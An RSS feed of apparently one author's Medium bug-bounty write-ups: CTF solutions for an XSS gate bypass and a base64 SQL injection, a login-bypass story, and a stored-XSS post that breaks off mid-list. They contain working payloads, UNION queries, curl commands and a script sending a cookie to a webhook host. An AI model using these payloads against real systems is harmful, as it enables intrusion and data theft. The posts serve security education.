<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ⛧ Ⱡ₳₣₮M₳₦⛧ on Medium]]></title>
        <description><![CDATA[Stories by ⛧ Ⱡ₳₣₮M₳₦⛧ on Medium]]></description>
        <link>https://medium.com/@laftman?source=rss-7cd33463fbac------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*mLyAN1duFvFZmEVacoZ7Aw.png</url>
            <title>Stories by ⛧ Ⱡ₳₣₮M₳₦⛧ on Medium</title>
            <link>https://medium.com/@laftman?source=rss-7cd33463fbac------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 08:08:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@laftman/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ Intigriti BRP Challenge Write-up]]></title>
            <link>https://medium.com/@laftman/intigriti-brp-challenge-write-up-187eded7dfe9?source=rss-7cd33463fbac------2</link>
            <guid isPermaLink="false">https://medium.com/p/187eded7dfe9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[⛧ Ⱡ₳₣₮M₳₦⛧]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 11:17:03 GMT</pubDate>
            <atom:updated>2026-11-10T11:17:03.869Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cuxDM9WRUhItGGzNGC16CA.png" /></figure><p><strong>Target:</strong> challenge-brp.challenges.intigriti.io <strong>Vulnerability class:</strong> CWE-79 — Improper Neutralization of Input During Web Page Generation (Cross-Site Scripting) <strong>Severity:</strong> Medium <strong>Result:</strong> Reflected XSS leading to disclosure of the challenge flag</p><h3>📋 Summary</h3><p>The person parameter of challenge.php is reflected into the DOM via innerHTML after a sanitization pass that strips dangerous tags and on* event attributes, but does not strip ordinary HTML elements or their data attributes. By studying the page&#39;s own client-side logic, it was possible to construct a payload built entirely from elements the sanitizer allows, which satisfies two DOM-presence checks the application relies on as an implicit access-control gate. Passing both checks causes the page to dynamically load an attacker-chosen script via &lt;script src&gt;, resulting in arbitrary JavaScript execution in the application&#39;s origin and disclosure of the flag.</p><h3>🔍 Investigation</h3><h3>1. Locating the sink</h3><p>The starting point was the page’s inline script, which reads the person query parameter and writes it directly into the DOM:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*U26wwpzV5W82_27D8Vtlfg.png" /></figure><p>holder.innerHTML is a classic XSS sink: any HTML passed to it is parsed and rendered by the browser, not treated as text.</p><h3>2. Understanding the sanitizer</h3><p>Before the value reaches the sink, the page runs a cleanup pass over the parsed markup. Testing showed it removes:</p><ul><li>&lt;script&gt;, &lt;iframe&gt;, &lt;object&gt;, and &lt;embed&gt; elements</li><li>any attribute whose name begins with on (e.g. onerror, onload)</li></ul><p>This explains why the obvious first attempts — an inline &lt;img onerror=...&gt; or a direct &lt;script&gt; tag — are neutralized. Critically, the sanitizer does <strong>not</strong> remove arbitrary elements, id attributes, or custom data-* attributes. This gap is what makes the rest of the chain possible.</p><h3>3. Reading the application’s own gate logic</h3><p>Rather than guessing payloads, I read the remainder of the inline script to understand what the page does <em>after</em> rendering the supplied markup. It performs two DOM lookups and a string comparison before taking any further action:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*TNr6d9sYtYRcNkqcjwcohg.png" /></figure><p>In other words, the script looks for two specific elements already present in the DOM — one identified by id=&quot;archive-latch&quot; carrying data-key=&quot;river-lantern&quot;, and one identified by id=&quot;record-anchor&quot; carrying a data-index attribute whose decoded value must exactly match a hardcoded /echo.php path. This is effectively an <strong>access-control check implemented entirely in client-side markup</strong>: whoever controls what gets rendered into #profile controls whether this branch executes.</p><p>Once both conditions are satisfied, the page does this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*AN088t3xnkljzVvx_GGYpQ.png" /></figure><p>The validated endpoint string — attacker-supplied, not application-generated — is used verbatim as the src of a dynamically created &lt;script&gt; element. Since the sanitizer only blocks the &lt;script&gt; <em>tag</em> when it appears literally in the injected HTML, and does nothing to validate what a legitimate, application-created &lt;script&gt; element is told to load, this is a second, independent gap: tag-level filtering does not protect a sink that constructs a script element programmatically from attacker-controlled data.</p><p>The server’s /echo.php endpoint reflects the listener query value as executable JavaScript, and the page&#39;s own alert wrapper subsequently issues a same-origin POST /reveal.php, which returns the flag and renders it into the &quot;vault&quot; section of the page.</p><h3>4. Putting it together</h3><p>The exploitation path is therefore:</p><ol><li>Smuggle two HTML elements past the sanitizer by using only plain tags, id, and data-* attributes — none of which are stripped.</li><li>Satisfy the data-key check on the latch element and the exact-match check on the anchor&#39;s data-index.</li><li>Let the page’s own logic turn the validated string into a &lt;script src&gt; load.</li><li>Let the loaded script execute alert(document.domain) and trigger the flag-reveal request.</li></ol><p>No event handlers, no &lt;script&gt; tags, and no direct JavaScript URIs are needed anywhere in the payload — every building block is something the sanitizer explicitly allows through.</p><h3>🧪 Incremental validation</h3><p>Before combining the two required elements, each one was tested in isolation to confirm the sanitizer’s behavior and the gate logic’s exact requirements.</p><p><strong>1 — Confirming </strong><strong>innerHTML rendering (baseline control)</strong></p><p><a href="https://challenge-brp.challenges.intigriti.io/challenge.php?person=%3Cb%3Eprobe%3C%2Fb%3E">“https://challenge-brp.challenges.intigriti.io/challenge.php?person=%3Cb%3Eprobe%3C%2Fb%3E</a>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A0x5Nz42qkRB-CjvjHOEtg.jpeg" /></figure><p><em>Observed:</em> the string probe rendered as bold text inside the profile area, confirming the parameter is parsed as HTML rather than escaped as text.</p><p><strong>2 — Latch element only</strong></p><p>“https://challenge-brp.challenges.intigriti.io/challenge.php?person=%3Cdiv%20id%3D%22archive-latch%22%20data-key%3D%22river-lantern%22%3Eriver-lantern%3C%2Fdiv%3E”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0gYuOthr81JYG1FZvZ4ERA.jpeg" /></figure><p><em>Observed:</em> the &lt;div&gt; was inserted into the DOM and the data-key check passed, but the script returned early since record-anchor was not present — confirming both elements are required simultaneously.</p><p><strong>3 — Anchor element only</strong></p><p>“<a href="https://challenge-brp.challenges.intigriti.io/challenge.php?person=%3Ca%20id%3D%22record-anchor%22%20data-index%3D%22%2Fecho.php%3Fchannel%3Decho%26listener%3Dalert(document.domain)%2F%2F%22%3Esignal%3C%2Fa%3E">https://challenge-brp.challenges.intigriti.io/challenge.php?person=%3Ca%20id%3D%22record-anchor%22%20data-index%3D%22%2Fecho.php%3Fchannel%3Decho%26listener%3Dalert(document.domain)%2F%2F%22%3Esignal%3C%2Fa%3E</a>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xwjzm3XTwQzWd_7XBNIIsA.jpeg" /></figure><p><em>Observed:</em> the &lt;a&gt; element was inserted and its data-index decoded correctly, but the loader branch was again skipped because archive-latch was absent.</p><p>These two controls isolated the exact precondition logic and confirmed that innerHTML assignment plus unfiltered data-* attributes were sufficient to drive both checks — without needing any payload the sanitizer would catch.</p><h3>🎯 Final payload</h3><p>Combining both elements into a single injected fragment satisfies both checks in one request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*jGnd9WzS7g40P0NCnOzuOg.png" /></figure><p><strong>Proof-of-concept URL:</strong></p><p>“<a href="https://challenge-brp.challenges.intigriti.io/challenge.php?person=%3Cdiv%20id%3D%22archive-latch%22%20data-key%3D%22river-lantern%22%3E%3Ca%20id%3D%22record-anchor%22%20data-index%3D%22%2Fecho.php%3Fchannel%3Decho%26listener%3Dalert(document.domain)%2F%2F%22%3Esignal%3C%2Fa%3E%3C%2Fdiv%3E">https://challenge-brp.challenges.intigriti.io/challenge.php?person=%3Cdiv%20id%3D%22archive-latch%22%20data-key%3D%22river-lantern%22%3E%3Ca%20id%3D%22record-anchor%22%20data-index%3D%22%2Fecho.php%3Fchannel%3Decho%26listener%3Dalert(document.domain)%2F%2F%22%3Esignal%3C%2Fa%3E%3C%2Fdiv%3E</a>”</p><h3>🔁 Steps to reproduce</h3><ol><li>Open the proof-of-concept URL above in a browser.</li><li>challenge.php reads the person parameter, sanitizes it (stripping &lt;script&gt;/&lt;iframe&gt;/&lt;object&gt;/&lt;embed&gt; and on* attributes only), and inserts the result into #profile via innerHTML.</li><li>The injected &lt;div id=&quot;archive-latch&quot;&gt; and &lt;a id=&quot;record-anchor&quot;&gt; elements pass the page&#39;s data-key and data-index checks.</li><li>The page dynamically appends a &lt;script&gt; element whose src is the attacker-controlled /echo.php path, loading and executing it.</li><li>The loaded script calls alert(document.domain), confirming script execution in the application&#39;s origin, and triggers the page&#39;s wrapper logic to request /reveal.php.</li><li>The flag is returned by /reveal.php and rendered into the vault section of the page.</li></ol><h3>🧩 Root cause</h3><p>Two independent weaknesses combine to produce this result:</p><ol><li><strong>Incomplete output sanitization.</strong> The filter operates on a denylist of specific tags and the on* attribute prefix, rather than restricting output to safe text or a narrow allowlist of elements/attributes. Any element type and any data-* attribute passes through untouched, which is more than enough surface to construct arbitrary markup with attacker-chosen attribute values.</li><li><strong>Markup-driven access control.</strong> The decision to load and execute a remote script is gated on the presence and attribute values of DOM nodes that originate from the same unsanitized user input the script is reading. The “check” is not a security boundary at all — it is trivially satisfiable by the same injection that bypasses the sanitizer.</li></ol><p>Neither weakness alone is sufficient; the sanitizer gap enables the injection, and the gate logic is what turns that injection into guaranteed script execution rather than inert markup.</p><h3>💥 Impact</h3><p>A single crafted link executes arbitrary JavaScript in the challenge application’s origin, with no user interaction beyond opening the link. In this challenge context that results in flag disclosure; in a production application the same primitive would allow session/token theft, UI redressing, or any other action available to a script running as the victim.</p><h3>🛠️ Remediation</h3><ul><li>Do not assign user-controlled input to innerHTML. Render it as text (textContent) or sanitize with a maintained allowlist-based library (e.g. DOMPurify) configured to strip all elements and attributes not explicitly required.</li><li>Replace the denylist-style filter (stripping specific tags and the on* prefix) with an allowlist of permitted tags/attributes; a denylist will always be incomplete against the full surface of valid HTML.</li><li>Never derive script-loading decisions (src, dynamic import(), etc.) from values that pass through user-controlled markup, even indirectly. Use a fixed, server-validated allowlist of endpoints, or eliminate the dynamic script-loading pattern entirely.</li><li>Treat any “access control” implemented via client-side DOM state as non-authoritative; it is reachable by anyone who can influence the DOM, including through XSS.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=187eded7dfe9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️‍♂️ How a Base64 ?pic=]]></title>
            <link>https://medium.com/@laftman/%EF%B8%8F-%EF%B8%8F-how-a-base64-pic-225ebb0eba67?source=rss-7cd33463fbac------2</link>
            <guid isPermaLink="false">https://medium.com/p/225ebb0eba67</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[⛧ Ⱡ₳₣₮M₳₦⛧]]></dc:creator>
            <pubDate>Thu, 01 Oct 2026 17:10:52 GMT</pubDate>
            <atom:updated>2026-10-01T17:10:52.474Z</atom:updated>
            <content:encoded><![CDATA[<h3>🕵️‍♂️ How a Base64 ?pic= Parameter Leaked the Flag: SQL Injection in Intigriti&#39;s September Challenge</h3><p><strong>TL;DR:</strong> The ?pic= parameter of the &quot;Critter Gallery&quot; challenge base64-decodes the input straight into a SQL query. Odd numbers of quotes kill the page, even numbers render it — classic string injection. A single-column UNION SELECT is reflected in the .desc element, so I enumerated critter_gallery → secret_vault(id, note) and extracted the flag: INTIGRITI{01a09f56…} 🚩</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*et0Ighwsgh3j_q_9ZVHI6A.png" /></figure><h3>🎯 The Challenge</h3><p>Intigriti’s September 2026 monthly CTF (“Challenge 0926”, by khanhdlq) presents a cute little “Critter Gallery”:</p><pre>https://challenge-0926.challenges.intigriti.io/challenge.php</pre><p>Eight tiles, each linking to ?pic=&lt;base64&gt; — e.g. ?pic=Zm94 (fox), ?pic=cGFuZGE= (panda). Clicking a tile renders a detail card with an emoji, a name (h2), and a description (.desc).</p><p><strong>Rules:</strong> exploit a vulnerability on the challenge page (no self-XSS, no MitM), submit the flag in INTIGRITI{.*} format plus payloads and steps.</p><h3>🔍 Recon: What’s ?pic=?</h3><p>First thing I did was decode the links.</p><p>?pic= decodes to Zm94 fox cGFuZGE= panda bGlvbg== lion</p><p>So the app takes base64, decodes it, and looks something up. My hypotheses before sending a single payload:</p><ul><li><strong>H1:</strong> decoded value flows into a SQL query without a prepared statement → test with quotes</li><li><strong>H2:</strong> decoded value is reflected in h2 → test for XSS</li><li><strong>H3:</strong> decoded value is a file path → test for LFI/traversal</li></ul><h3>✅ Discovery: The Quote Test (H1 CONFIRMED)</h3><p>I base64-encoded a&#39;b (one quote) and a&#39;&#39;b (two quotes):</p><pre>a&#39;b   -&gt; YSdi<br>a&#39;&#39;b  -&gt; YScnYg==</pre><p><strong>Result:</strong></p><ul><li>?pic=YSdi → HTTP 200, <strong>SIZE 0</strong> — completely empty page</li><li>?pic=YScnYg== → HTTP 200, <strong>SIZE ~4089</strong> — normal page</li></ul><p>Odd quotes kill the page, even quotes render it. Same with fox&#39; (Zm94Jw== → empty) vs fox&#39;&#39; (Zm94Jyc= → normal). That&#39;s the unmistakable signature of string-based SQL injection: the decoded input is interpolated into the query, and an unbalanced &#39; breaks the syntax.</p><blockquote><em>💡 </em><strong><em>XSS note:</em></strong><em> </em><em>h2 escapes everything — </em><em>&lt;svg onload=alert(1)&gt; came back as </em><em>&amp;lt;svg onload=alert(1)&amp;gt;. More on the XSS negative result below.</em></blockquote><h3>🎲 Confirming Control: Dumping Every Row</h3><p>Next I sent the classic boolean payload (decoded: &#39; OR 1=1 --, b64 JyBPUiAxPTEtLSAt):</p><p>The .desc element suddenly contained all 8 critter descriptions concatenated:</p><pre>&lt;div class=&quot;desc&quot;&gt;The red fox is a clever, highly adaptable hunter.&lt;br&gt;Giant pandas spend most of the day munching bamboo.&lt;br&gt;Lions are the only truly social of the big cats.&lt;br&gt;…&lt;br&gt;&lt;/div&gt;</pre><p>The query fetches rows in a loop and prints them all — full control over the WHERE clause confirmed. Similarly, fox&#39; -- (commenting out the trailing quote) returned exactly the fox row.</p><h3>🔢 Column Count: Exactly One</h3><p>UNION probing (all base64-encoded):</p><pre>&#39; UNION SELECT 1 --        -&gt; works, .desc shows &quot;1&quot;<br>&#39; UNION SELECT 1,2 --      -&gt; SIZE 0 (SQL error)<br>&#39; UNION SELECT 1,2,3 --    -&gt; SIZE 0 (SQL error)</pre><p>One column, reflected raw-ish in .desc. That&#39;s all I needed for exfiltration. 🎯</p><h3>🗂️ Enumeration</h3><pre>&#39; UNION SELECT @@version --     -&gt; 8.0.46<br>&#39; UNION SELECT database() --    -&gt; critter_gallery<br>&#39; UNION SELECT user() --        -&gt; gallery@10.18.49.50</pre><p>Tables in critter_gallery:</p><pre>&#39; UNION SELECT group_concat(table_name)<br>FROM information_schema.tables<br>WHERE table_schema=database() --</pre><p>→ animals, <strong>secret_vault</strong></p><p>Columns (using hex literals to dodge any quote filtering):</p><pre>table 0x7365637265745f7661756c74 (secret_vault) -&gt; id, note<br>table 0x616e696d616c73         (animals)      -&gt; id, name, description</pre><p>A table literally called secret_vault with a note column. You know what to do. 😏</p><h3>🚩 The Flag</h3><pre>&#39; UNION SELECT group_concat(id,0x3a,note) FROM secret_vault --</pre><p>Base64:</p><pre>JyBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KGlkLDB4M2Esbm90ZSkgRlJPTSBzZWNyZXRfdmF1bHQtLSAt</pre><p><strong>Response:</strong></p><pre>&lt;div class=&quot;desc&quot;&gt;1:INTIGRITI{01a09f56–74a2–700b-a849-ffe6742327b2}&lt;br&gt;&lt;/div&gt;</pre><p>Reproduced 3× with fresh requests — same flag every time. 🔁 (For completeness, I also dumped animals: 8 rows, 1:fox:The red fox… etc., matching the gallery.)</p><h3>❌ The XSS I Didn’t Find (Negative Result)</h3><p>Since the rules exclude self-XSS, I checked whether the injection could be escalated to XSS against other visitors. Answer: <strong>no</strong>. Both sinks are HTML-escaped:</p><ul><li>h2 reflects the input escaped (&lt; → &amp;lt;, &gt; → &amp;gt;, quotes → entities)</li><li>.desc reflects the UNION output escaped too — I injected &lt;b&gt;XSS-TEST&lt;/b&gt; and &lt;svg onload=alert(1)&gt; via UNION SELECT 0x3c… and both came back as &amp;lt;b&amp;gt; / &amp;lt;svg</li></ul><p>Output encoding holds; the intended chain is pure SQLi → data extraction.</p><h3>💥 Impact</h3><p>Single-column UNION-based SQL injection, unauthenticated, over GET:</p><ul><li>Arbitrary read of the database (any table/column reachable by the gallery@ user via UNION + group_concat)</li><li>Exfiltration of the secret flag from secret_vault</li><li>In a real app of this shape: full table dumps (users, PII, credentials) with one request</li></ul><h3>🛠️ Remediation</h3><ul><li>Use <strong>prepared statements</strong> (PDO::prepare + bound parameter) for the decoded name — never interpolate</li><li>Validate the input: strict base64 decode + allowlist against known critter names before querying</li><li>Return a generic error page (don’t let broken queries return SIZE 0 vs full page — the size oracle alone confirms injection)</li><li>Apply least privilege to the SQL user (no access to non-application tables)</li></ul><h3>📋 Reproduce It (Cheat Sheet)</h3><pre># 1. SQLi litmus: odd quotes = empty page, even quotes = normal page<br>curl -s -o /dev/null -w &#39;%{size_download}\n&#39; \<br>  &#39;https://challenge-0926.challenges.intigriti.io/challenge.php?pic=YSdi&#39; # a&#39;b -&gt; 0</pre><pre>curl -s -o /dev/null -w &#39;%{size_download}\n&#39; \<br>  &#39;https://challenge-0926.challenges.intigriti.io/challenge.php?pic=YScnYg==&#39; # a&#39;&#39;b -&gt; ~4089</pre><pre># 2. Dump all rows<br>curl -s &#39;…/challenge.php?pic=JyBPUiAxPTEtLSAt&#39; | grep &#39;&lt;div class=&quot;desc&#39;</pre><pre># 3. Flag<br>curl -s &#39;…/challenge.php?pic=JyBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KGlkLDB4M2Esbm90ZSkgRlJPTSBzZWNyZXRfdmF1bHQtLSAt&#39; \<br>  | grep -o &#39;INTIGRITI{[^}]*}&#39;</pre><h3>🧠 Takeaway</h3><p>The app did two things that, combined, are fatal: it decoded an opaque-looking parameter (base64 gives a false sense of “not user input”) and concatenated the result into SQL. The fix is boring and that’s the point — bound parameters, allowlists, generic errors. The gallery stays cute, and the vault stays shut. 🔒</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aXavqFuIQ7_rMPocGZMWRw.png" /></figure><p>🏆 Solved on <strong>09/21/2026</strong>, submitted as INTIGRITI-JBV4CQ4T <strong>(Accepted ✅)</strong>. Thanks to khanhdlq and the Intigriti team for the fun challenge!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=225ebb0eba67" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unauthorized Access to Administrative Dashboard ]]></title>
            <link>https://medium.com/@laftman/unauthorized-access-to-administrative-dashboard-2add4cc6d920?source=rss-7cd33463fbac------2</link>
            <guid isPermaLink="false">https://medium.com/p/2add4cc6d920</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[⛧ Ⱡ₳₣₮M₳₦⛧]]></dc:creator>
            <pubDate>Sat, 18 Jul 2026 12:01:25 GMT</pubDate>
            <atom:updated>2026-07-18T12:18:20.811Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EpSYVhtweTzkjdGlXGvFRQ.png" /></figure><p>Before we start, let me introduce myself a bit. I’m known as ⛧ Ⱡ₳₣₮M₳₦⛧ — or to my friends, Uncle ⛧ Ⱡ₳₣₮M₳₦⛧. My journey into the hacking world began back when I was crazy about doing something extraordinary — basically just tinkering and poking around with things. I’m a pretty cool guy and I enjoy networking.</p><p>“But Uncle ⛧ Ⱡ₳₣₮M₳₦⛧, how did you learn all this stuff?”</p><p>Well, basically by studying how things work under the hood. I used to read a lot of HackerOne bug reports and articles here on Medium — which is exactly where I’m creating this write-up now, to help you all just as others helped me over time!</p><p>I thought it was wild to poke around and “hack” — well, actually, hacking is complex. I basically consider myself a hunter of damn bugs, lol 🐛.</p><p>I was a bit of a rebel; I skipped the key parts of becoming a good hacker — basically the “fundamentals,” like programming, networking, and so on.</p><p>But wait — I skipped them because I needed to make money 💸. I was unemployed and didn’t want to spend too much time on those things. I thought, “If I can make some money, I can go back to the beginning and learn properly later, but I need to support myself first.”</p><p>So, I dedicated myself fully to reading write-ups, trying to replicate vulnerabilities, and learning via PortSwigger and YouTube tutorials. I jumped straight into bug bounty — not VDPs, but actual BBPs. I thought it would be a bed of roses, but it wasn’t, lol 😅. I made so many mistakes back then, running tools like Nuclei and Nikto and submitting tons of reports, feeling like a “hacker” — but I wasn’t! Lol, I was just someone running automated tools.</p><p>After many mistakes, I finally started to understand how things actually work — and what a real vulnerability is. In the real world, not a “CTF.”</p><p>But Uncle ⛧ Ⱡ₳₣₮M₳₦⛧, what exactly constitutes a real-world vulnerability?</p><p>Well, my nieces and nephews: basically, a vulnerability is anything you can break — specifically, anything you aren’t authorized to do. For example: you sign up as a standard user, but you manage to gain admin status simply by manipulating a parameter to switch “USER” to “ADMIN.” Congratulations 🎉, you’ve found a BAC (Broken Access Control) flaw.</p><p>Now, I’m going to show you a simple BAC flaw I discovered.</p><p>No need for the crazy tool-heavy approach I used to have with Nuclei, Nikto, and the like…</p><p>Everything here is manual; my “bug hunter” arsenal is actually just DevTools, the terminal, and Burp Suite. And now that we’re in the “AI era,” I only use DeepSeek to help with complex tasks — but my major findings still come from DevTools and the terminal.</p><p>Without further ado, let’s get to the topic:</p><p>I found a flaw involving unauthorized access to an administrative dashboard.</p><p>I found an interesting domain; I’ll use “exemple.com” as a placeholder for it.</p><p>There was a login panel on this domain, as you can see in the screenshot below.</p><p>called “exemple.com/main/login”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EpSYVhtweTzkjdGlXGvFRQ.png" /></figure><p>As you can see, it’s a standard login panel. But when I opened up my friend “DevTools” and analyzed the network requests, I saw calls to an “API” — nothing out of the ordinary. However, when I checked the “Sources” tab, I found several endpoints. That’s when I realized there might be an endpoint allowing direct access without logging in, given that the panel is restricted to authorized personnel — specifically, the application’s staff.</p><p>So, basically, after seeing several endpoints, I ran a quick, simple recon using “Katana”:</p><p>`katana -u example.com/main/login | grep “.js$”`</p><p>I wanted to see all the frontend JS files used by the application. I found a few, including:</p><p>“main.dasd12.js” and “index.dasda2123.js”</p><p>(These are just examples, okay guys?)</p><p>Next, I used a really cool tool called “JSA.”</p><p>“But hey, ‘Uncle’ — what does the ‘JSA’ tool actually do?”</p><p>Answer: When you have JS files containing parameters, you can use it like this:</p><p>`echo “example.com/main.dasd12.js” | python3 jsa.py | httpx -sc`</p><p>It returns both accessible and inaccessible endpoints; `httpx -sc` is basically there so you can see the response status.</p><p>Moving on, I got responses like this:</p><p>“example.com/project/create-yaml” [200 OK]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f0dPNMafZljUqv3x72KFRA.png" /></figure><p>“example.com/settings/plugins” [200 OK]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AcjXl-7NA5feYRyDl2r7Jg.png" /></figure><p>“example.com/settings/clusters” [200 OK]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZOGrCMnkLqgtNlraE43e8w.png" /></figure><p>So, by accessing each of these internal routes, I was able to bypass the login. This happened because of a misconfiguration by the developer: they had protected parts of the application but left hidden routes accessible.</p><p>That’s what allowed me to bypass the login!</p><p>“But ‘Uncle,’ what’s the impact of this?” Answer: → “It depends.” If the application allows arbitrary uploads — like reflected XSS within a bypassed dashboard — it’s “CRITICAL.” If the dashboard displays sensitive information — such as credentials, options to remove devices or employees, or emails — it’s “CRITICAL.”</p><p>But in my case, I tried everything, yet it kept redirecting me to the dashboard; even when I tried manipulating it with a “replace” function, the redirection persisted. → It only happened when I clicked on other parts of the application — unlike the specific areas mentioned earlier, which actually allowed me to stay logged in.</p><p>So, basically, what I found inside the dashboard was one of their internal IPs exposed — like `<a href="http://123;1232;12313`/">http://123;1232;12313`</a> (just an example, lol).</p><p>But I reported it, and the company accepted the report and took it offline that very same day. My reward was… 💰</p><p>€125 (Medium level).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*oHgCPrBIIMVaKqkPToXhAQ.png" /></figure><p>Thanks for reading, and see you soon. I’m going to start dedicating myself to writing more; just as various write-ups helped me, I want to help you all. Thanks everyone — please like and leave a comment to show your support.</p><p>Tools used:</p><p>“Devtools”</p><p>“katana”: → <a href="https://github.com/projectdiscovery/katana">https://github.com/projectdiscovery/katana</a></p><p>“JSA”: → <a href="https://github.com/w9w/JSA">https://github.com/w9w/JSA</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2add4cc6d920" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[✒️ Write-up: From Weak Markdown to Administrative Account Takeover]]></title>
            <link>https://medium.com/@laftman/%EF%B8%8F-write-up-from-weak-markdown-to-administrative-account-takeover-0d693a99faa8?source=rss-7cd33463fbac------2</link>
            <guid isPermaLink="false">https://medium.com/p/0d693a99faa8</guid>
            <dc:creator><![CDATA[⛧ Ⱡ₳₣₮M₳₦⛧]]></dc:creator>
            <pubDate>Sat, 11 Apr 2026 15:46:33 GMT</pubDate>
            <atom:updated>2026-04-11T15:46:33.795Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pqe6vhMCyuUSzFRB-IIbbQ.png" /></figure><p>🛠️ Subtitle: Exploiting Stored XSS via JSONP Callback Injection</p><h3>1. 📝 Executive Summary</h3><p>This report documents a critical <strong>Stored Cross-Site Scripting (XSS)</strong> vulnerability discovered on the <strong>InkDrop</strong> platform (challenge-0226.intigriti.io). By chaining a flawed Markdown regex engine with a lack of sanitization in a <strong>JSONP endpoint</strong>, I successfully bypassed security filters to execute arbitrary JavaScript.</p><p>The attack culminated in the <strong>unauthorized exfiltration</strong> of the administrative flag cookie, which was vulnerable due to the absence of the httpOnly flag.</p><p>2. 🔍 Vulnerability Analysis</p><p><strong>A. The Flawed Markdown Engine</strong> 🧩</p><p>The backend (app.py) utilizes custom regular expressions for Markdown parsing. While it attempts to handle standard tags, it fails to implement a robust HTML Sanitization (like Bleach or DOMPurify) after the conversion. This oversight allows raw HTML tags, such as &lt;script&gt;, to persist in the rendered page.</p><p><strong>B. The Vulnerable JSONP Endpoint </strong>⚡</p><p>The application provides a JSONP API at /api/jsonp for cross-origin data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*v_L1EVX5l49yhDuq6Fx1jw.png" /></figure><p>The Exploit Path: The sanitization only blocks angle brackets. It does not restrict the callback parameter to alphanumeric characters. This allows an attacker to inject complex JavaScript expressions (like fetch()) directly into the script execution flow.</p><p><strong>C. The “No-httpOnly” Weakness</strong> 🍪</p><p>The administrative bot is configured with a critical security misconfiguration:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*9_LT5CbXG0w1_n-MFjPEuw.png" /></figure><p>Since the flag cookie is accessible to the DOM, any successful XSS execution can read its content via document.cookie.</p><p>3. 🚀 <strong>The “JSONP-Bridge” Exploit (PoC)</strong></p><p>🏗️ <strong>Payload Construction</strong></p><p>I crafted a payload that leverages a Relative Path Script Injection. Since the script is hosted on the same domain, it naturally bypasses strict Content Security Policies (CSP) that might block external sources.</p><p><strong>Final Payload</strong>:</p><p>&lt;script src=”/api/jsonp?callback=fetch(‘<a href="https://webhook.site/2d0c8b7b-f2a1-423e-92ef-4b900a09f316?f=&#39;">https://webhook.site/2d0c8b7b-f2a1-423e-92ef-4b900a09f316?f=&#39;</a> %2b document.cookie)//”&gt;&lt;/script&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*78aNF-lvPrymo6MgePBlmw.png" /></figure><p>🔬 <strong>Technical Breakdown</strong>:</p><p>src=”/api/jsonp?…: Loads the “malicious” script from a trusted local endpoint.</p><p>callback=fetch(…): The server reflects this string. The browser, expecting a function name, instead executes the fetch command.</p><p>%2b document.cookie: Uses URL-encoded + to safely concatenate the sensitive cookie data.</p><p>//: A JavaScript comment to “kill” the rest of the JSON response, preventing syntax errors that would stop the execution.</p><p>👣 <strong>Execution Steps</strong></p><ol><li><strong>Injection:</strong> Create a new post and paste the payload into the Content area.</li><li><strong>Reporting:</strong> Use the <strong>“Report to Moderator”</strong> button to force the administrative bot to view the post.</li><li><strong>Trigger:</strong> The bot (Playwright) renders the post, triggers the JSONP script, and executes the exfiltration.</li><li><strong>Loot:</strong> Check the Webhook.site logs 